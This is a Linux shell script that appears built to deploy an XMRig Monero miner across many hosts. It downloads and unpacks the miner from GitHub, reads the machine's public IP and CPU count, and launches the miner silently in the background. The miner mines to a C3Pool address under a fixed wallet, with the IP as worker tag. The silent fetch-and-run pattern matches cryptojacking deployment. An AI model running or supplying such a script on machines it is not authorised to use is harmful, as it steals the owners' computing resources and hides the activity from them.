sudo rm c3pool -fr
mkdir c3pool 
cd c3pool 
sudo rm xmrig-v6.16.4-C3-linux-Static.tar.gz -fr
wget https://github.com/C3Pool/xmrig-C3/releases/download/v6.16.4-C3/xmrig-v6.16.4-C3-linux-Static.tar.gz
tar zxvf xmrig-v6.16.4-C3-linux-Static.tar.gz
MYIPADDR=`curl "http://ip.sb/" 2>/dev/null`
cp=`sudo cat /proc/cpuinfo | grep processor | wc -l`
t=1
if [ $cp = 2 ]
then
   t=1
   #echo "cpu=$cp t=$t"
fi

if [ $cp = 4 ]
then
   t=3
   #echo "cpu=$cp t=$t"
fi

if [ $cp = 8 ]
then
   t=6
   #echo "cpu=$cp t=$t"
fi

if [ $cp = 12 ]
then
   t=10
   #echo "cpu=$cp t=$t"
fi

nohup ./xmrig -o auto.c3pool.org:19999 -u 49JvB9XSfwE3eE8QqQaQNpdZtxejPnHrEJsTR5pwp6iyGfWppgZgYti2dn9HrqkEzHjDgcefpn6zb9w8xjT1eseNPKuLvoE -p $MYIPADDR  -t $t >/dev/null 2>&1 &
echo "$MYIPADDR:部署完成"
